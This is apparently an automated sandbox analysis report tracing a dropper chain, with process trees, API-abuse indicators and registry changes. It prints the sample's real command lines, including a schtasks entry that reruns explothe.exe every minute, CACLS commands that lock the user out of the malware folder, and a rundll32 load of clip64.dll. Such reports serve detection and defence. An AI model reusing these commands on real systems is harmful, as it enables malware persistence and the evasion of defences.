Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

AppLaunch.exe3Lx96fW.exeExplorer.EXE

pid	process
4588	AppLaunch.exe
4588	AppLaunch.exe
3752	3Lx96fW.exe
3752	3Lx96fW.exe
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE
3152	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

3Lx96fW.exetoolspub2.exe

pid process

3752 3Lx96fW.exe
7328 toolspub2.exe

pid	process
3752	3Lx96fW.exe
7328	toolspub2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 32 IoCs

Processes:

msedge.exe

pid	process
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

AppLaunch.exeExplorer.EXEkos4.exe

description	pid	process
Token: SeDebugPrivilege	4588	AppLaunch.exe
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeDebugPrivilege	7288	kos4.exe
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE
Token: SeShutdownPrivilege	3152	Explorer.EXE
Token: SeCreatePagefilePrivilege	3152	Explorer.EXE

Suspicious use of FindShellTrayWindow 26 IoCs

Processes:

msedge.exe91B3.exe

pid	process
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
6708	91B3.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe
4416	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Broom.exe

pid process

7432 Broom.exe

pid	process
7432	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

NEAS.bc403634080e6480056dd5d21f4013a0.exedw3zJ94.exete3Jn42.exeKh8Oj58.exehB9oM87.exepJ1MK16.exe1AO96EF5.exe2Hm4181.exe4iy712Wi.exe5kE6YP2.exeexplothe.exe

description	pid	process	target process
PID 232 wrote to memory of 2292	232	NEAS.bc403634080e6480056dd5d21f4013a0.exe	dw3zJ94.exe
PID 232 wrote to memory of 2292	232	NEAS.bc403634080e6480056dd5d21f4013a0.exe	dw3zJ94.exe
PID 232 wrote to memory of 2292	232	NEAS.bc403634080e6480056dd5d21f4013a0.exe	dw3zJ94.exe
PID 2292 wrote to memory of 4388	2292	dw3zJ94.exe	te3Jn42.exe
PID 2292 wrote to memory of 4388	2292	dw3zJ94.exe	te3Jn42.exe
PID 2292 wrote to memory of 4388	2292	dw3zJ94.exe	te3Jn42.exe
PID 4388 wrote to memory of 2736	4388	te3Jn42.exe	Kh8Oj58.exe
PID 4388 wrote to memory of 2736	4388	te3Jn42.exe	Kh8Oj58.exe
PID 4388 wrote to memory of 2736	4388	te3Jn42.exe	Kh8Oj58.exe
PID 2736 wrote to memory of 828	2736	Kh8Oj58.exe	hB9oM87.exe
PID 2736 wrote to memory of 828	2736	Kh8Oj58.exe	hB9oM87.exe
PID 2736 wrote to memory of 828	2736	Kh8Oj58.exe	hB9oM87.exe
PID 828 wrote to memory of 4244	828	hB9oM87.exe	pJ1MK16.exe
PID 828 wrote to memory of 4244	828	hB9oM87.exe	pJ1MK16.exe
PID 828 wrote to memory of 4244	828	hB9oM87.exe	pJ1MK16.exe
PID 4244 wrote to memory of 3556	4244	pJ1MK16.exe	1AO96EF5.exe
PID 4244 wrote to memory of 3556	4244	pJ1MK16.exe	1AO96EF5.exe
PID 4244 wrote to memory of 3556	4244	pJ1MK16.exe	1AO96EF5.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 3556 wrote to memory of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 4244 wrote to memory of 5000	4244	pJ1MK16.exe	2Hm4181.exe
PID 4244 wrote to memory of 5000	4244	pJ1MK16.exe	2Hm4181.exe
PID 4244 wrote to memory of 5000	4244	pJ1MK16.exe	2Hm4181.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 5000 wrote to memory of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 828 wrote to memory of 3752	828	hB9oM87.exe	3Lx96fW.exe
PID 828 wrote to memory of 3752	828	hB9oM87.exe	3Lx96fW.exe
PID 828 wrote to memory of 3752	828	hB9oM87.exe	3Lx96fW.exe
PID 2736 wrote to memory of 1636	2736	Kh8Oj58.exe	4iy712Wi.exe
PID 2736 wrote to memory of 1636	2736	Kh8Oj58.exe	4iy712Wi.exe
PID 2736 wrote to memory of 1636	2736	Kh8Oj58.exe	4iy712Wi.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 1636 wrote to memory of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 4388 wrote to memory of 4032	4388	te3Jn42.exe	5kE6YP2.exe
PID 4388 wrote to memory of 4032	4388	te3Jn42.exe	5kE6YP2.exe
PID 4388 wrote to memory of 4032	4388	te3Jn42.exe	5kE6YP2.exe
PID 4032 wrote to memory of 4480	4032	5kE6YP2.exe	explothe.exe
PID 4032 wrote to memory of 4480	4032	5kE6YP2.exe	explothe.exe
PID 4032 wrote to memory of 4480	4032	5kE6YP2.exe	explothe.exe
PID 2292 wrote to memory of 1316	2292	dw3zJ94.exe	6Dd6et9.exe
PID 2292 wrote to memory of 1316	2292	dw3zJ94.exe	6Dd6et9.exe
PID 2292 wrote to memory of 1316	2292	dw3zJ94.exe	6Dd6et9.exe
PID 4480 wrote to memory of 1376	4480	explothe.exe	schtasks.exe
PID 4480 wrote to memory of 1376	4480	explothe.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3152

C:\Users\Admin\AppData\Local\Temp\NEAS.bc403634080e6480056dd5d21f4013a0.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.bc403634080e6480056dd5d21f4013a0.exe"
2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:232

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dw3zJ94.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dw3zJ94.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2292

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\te3Jn42.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\te3Jn42.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4388

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Kh8Oj58.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Kh8Oj58.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2736

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\hB9oM87.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\hB9oM87.exe
6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:828

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pJ1MK16.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pJ1MK16.exe
7⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4244

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1AO96EF5.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1AO96EF5.exe
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
9⤵
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 592
9⤵
- Program crash
PID:4164

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Hm4181.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Hm4181.exe
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5000

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
9⤵
PID:3796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 540
10⤵
- Program crash
PID:1744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 600
9⤵
- Program crash
PID:1364

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3Lx96fW.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3Lx96fW.exe
7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3752

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4iy712Wi.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4iy712Wi.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:2064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1636 -s 572
7⤵
- Program crash
PID:2068

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5kE6YP2.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5kE6YP2.exe
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4032

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4480

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
7⤵
- Creates scheduled task(s)
PID:1376

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
7⤵
PID:4108

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
8⤵
PID:4016

C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:N"
8⤵
PID:3984

C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:R" /E
8⤵
PID:2716

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
8⤵
PID:3148

C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:N"
8⤵
PID:208

C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:R" /E
8⤵
PID:3980

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
7⤵
- Loads dropped DLL
PID:4732

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Dd6et9.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Dd6et9.exe
4⤵
- Executes dropped EXE
PID:1316

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7Be2zP02.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7Be2zP02.exe
3⤵
- Executes dropped EXE
PID:400

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\FA9C.tmp\FA9D.tmp\FA9E.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7Be2zP02.exe"
4⤵
PID:2124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
5⤵
PID:4092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:2424

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,8312871851675241402,13657328011608830970,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
6⤵
PID:4040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,8312871851675241402,13657328011608830970,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
6⤵
PID:5100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4416

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:1464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2324 /prefetch:2
6⤵
PID:4168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2476 /prefetch:3
6⤵
PID:3944

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:1
6⤵
PID:5220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:8
6⤵
PID:5172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
6⤵
PID:5256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4492 /prefetch:1
6⤵
PID:6032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4288 /prefetch:1
6⤵
PID:6036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3652 /prefetch:1
6⤵
PID:5984

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3804 /prefetch:1
6⤵
PID:5976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:1
6⤵
PID:6228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5564 /prefetch:1
6⤵
PID:6324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5892 /prefetch:1
6⤵
PID:6400

